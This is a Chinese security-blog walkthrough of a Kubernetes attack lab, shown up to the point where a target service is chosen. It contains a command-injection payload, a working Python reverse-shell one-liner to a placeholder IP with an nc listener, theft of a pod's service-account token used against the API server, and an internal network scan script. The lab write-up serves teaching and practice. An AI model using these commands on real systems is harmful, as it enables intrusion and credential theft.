freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一个易懂、完整、实战的K8S攻防靶场演练
2024-01-12 11:12:03

靶场资源情况

kubectl get all -A | grep -v kube-system | grep -v local-path-storage

1705028419_65a0ab438512fa522d40f.png!small?1705028419814


攻击

获取元数据

curl -IL http://localhost:8080

1705028475_65a0ab7bc775587e02837.png!small?1705028476381

可以看到 Web 应用程序在 Python/3.9.16、 Werkzeug Web 服务器上运行。

查看 Web

最基础的命令注入,利用 Ping 功能注入恶意命令,

1705028499_65a0ab938e654752189d7.png!small?1705028499795


curl -X POST -d "url=;id;hostname" http://localhost:8080/

1705028519_65a0aba783308a1cbc173.png!small?1705028519883


利用漏洞

在前面信息收集阶段,我们已经获取到了,Web 应用程序在 Python/3.9.16 上运行,所以可以利用 Python 反弹 shell,注意替换下面的<YOUR_IP>为监听IP,

curl -X POST -d "url=;python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"<YOUR_IP>\",9001)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); import pty; pty.spawn(\"/bin/bash\")'" http://localhost:8080/

服务端监听。

nc -lvnp 9001

1705028559_65a0abcf1bd2002698c1b.png!small?1705028559575


进入Pod

查看环境变量以获取信息 env

我们可以看到服务器正在 Kubernetes 集群上运行。

1705028581_65a0abe5b30767d84a02e.png!small?1705028582620

我们可以尝试使用以下命令列出集群上运行的 Pod,

# 获取pod的服务帐户令牌export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)# 使用REST API与集群交互curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure# https://kubernetes.default.svc:443 是 Kubernetes 集群内部的 Kubernetes API Server 的地址# 这个地址一般只在 Kubernetes 集群内部可用,从集群外部通常是不可达的,因为它通常不会被直接暴露给公共网络。

可惜我们的 Pod 无权列出集群上运行的 Pod。

1705028612_65a0ac04f32916fcf4316.png!small?1705028614342


默认情况下,kubernetes 服务资源的 ip 范围为 10.96.0.0/16,可以尝试使用一个简单的脚本来发现其他服务,下方脚本将尝试连接到指定端口上范围内的所有 IP 地址,scan.sh

#!/bin/bash
# 设置超时值(以秒为单位)
timeout=0.03
# 循环通过10.96.0/16范围内的每个IP地址
for third_octet in {0..255}; do
  for fourth_octet in {0..255}; do
    ip="10.96.$third_octet.$fourth_octet"

    while read -r port; do
      url="http://${ip}:${port}"
      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")

      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; then
        echo "Success: $url (HTTP $response_code)"
      fi
    done < "ports.txt"
  done
  echo "Range 10.96.$third_octet.0/24 done"
done

写入scan.sh,作为实验我清楚网络拓扑,故将段限制在 10.96.{96..98},

echo -e '#!/bin/bash\n\
timeout=0.03\n\
for third_octet in {96..98}; do\n\
  for fourth_octet in {0..255}; do\n\
    ip="10.96.$third_octet.$fourth_octet"\n\
    while read -r port; do\n\
      url="http://${ip}:${port}"\n\
      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")\n\
      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; then\n\
        echo "Success: $url (HTTP $response_code)"\n\
      fi\n\
    done < "ports.txt"\n\
  done\n\
  echo "Range 10.96.$third_octet.0/24 done"\n\
done' > scan.sh

还需要创建一个 ports.txt 文件,作为实验,就写一个3000端口,

echo -e "3000" > ports.txt

运行脚本,发现一个运行在 IP 10.96.97.167 上的服务,

1705028714_65a0ac6a882a270c3ab72.png!small?1705028714717


将这个服务设置成我们的目标,方便后续对该目标进行操作,

export TARGET_IP=10.96.97.167

# 云安全 # RBAC # Kubernetes # 靶场实战 # Kubernetes安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录